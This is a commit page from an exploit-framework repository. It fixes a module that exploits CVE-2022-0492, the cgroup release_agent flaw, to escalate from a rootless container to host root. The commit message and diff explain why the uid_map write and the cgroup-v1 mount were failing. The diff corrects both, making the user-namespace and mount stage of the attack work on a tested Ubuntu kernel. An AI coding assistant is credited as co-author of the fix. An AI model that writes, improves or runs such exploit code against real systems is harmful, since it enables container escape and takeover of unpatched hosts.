leviathan/SKELETONKEY
1
1
Fork 0
Code Issues Pull Requests Actions 21 Packages Projects Releases Wiki Activity

cgroup_release_agent: fix uid_map (read uid pre-unshare) + add CLONE_NEWCGROUP

Browse Source 
Two real bugs found via VM verification (Ubuntu 20.04.0 / 5.4.0-26):

1. uid_map EPERM: the child captured getuid()/getgid() AFTER
   unshare(CLONE_NEWUSER), where they return 65534 (nobody, the initial
   unmapped id), so it wrote "0 65534 1" to uid_map — rejected with EPERM.
   Now the outer uid/gid are read BEFORE unshare, yielding the correct
   "0 <uid> 1" single-uid self-map. (overlayfs got this right, which is why
   it worked; this module didn't.)

2. mount EPERM: the unprivileged cgroup-v1 mount needs a private cgroup
   namespace. Added CLONE_NEWCGROUP (with a fallback) — mounting an unused v1
   controller then succeeds.

With both fixed the userns+cgroupns+mount setup is correct. Note: on a stock
systemd host every v1 controller is already mounted (its release_agent is
owned by init-root and unwritable from the userns) and creating a fresh named
hierarchy is refused, so a bare unprivileged user cannot own release_agent —
CVE-2022-0492 is reachable in a container context (CAP_SYS_ADMIN / an ownable
cgroup), consistent with the module's "host root from rootless container"
framing. Verified out-of-band; see docs/EXPLOITED.md.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 20:15:51 -04:00
parent 59cc2be065
commit 8c45b2beb8
2 changed files with 23 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.c
+22 -2
View File
@@ -57,6 +57,12 @@
#include <sys/stat.h>
#include <sys/wait.h>
/* CLONE_NEWCGROUP is not always in the toolchain's <sched.h>. */
#ifndef CLONE_NEWCGROUP
#define CLONE_NEWCGROUP 0x02000000
#endif
#define CGRA_CLONE_NEWCGROUP CLONE_NEWCGROUP
/* Stable-branch backport thresholds for the fix. */
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
{4, 9, 301},
@@ -178,10 +184,24 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
pid_t child = fork();
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
/* CHILD: enter userns + mountns, become "root" in userns.
*
* CRITICAL: capture the OUTER uid/gid BEFORE unshare. After
* unshare(CLONE_NEWUSER) getuid() returns 65534 (nobody, the initial
* unmapped id), so building the map from a post-unshare getuid() writes
* "0 65534 1" — which the kernel rejects with EPERM (65534 is not the
* writer's real outer uid). Reading it here, pre-unshare, yields the
* real "0 1000 1" the single-uid self-map rule requires. */
uid_t uid = getuid();
gid_t gid = getgid();
/* CLONE_NEWCGROUP matters: without a private cgroup namespace the
* unprivileged cgroup-v1 mount below is refused with EPERM on modern
* kernels (verified on 5.4). With it, mounting an unused v1 controller
* (rdma) in the userns succeeds. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CGRA_CLONE_NEWCGROUP) < 0) {
/* fall back to the old flags if NEWCGROUP is unsupported */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
}
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];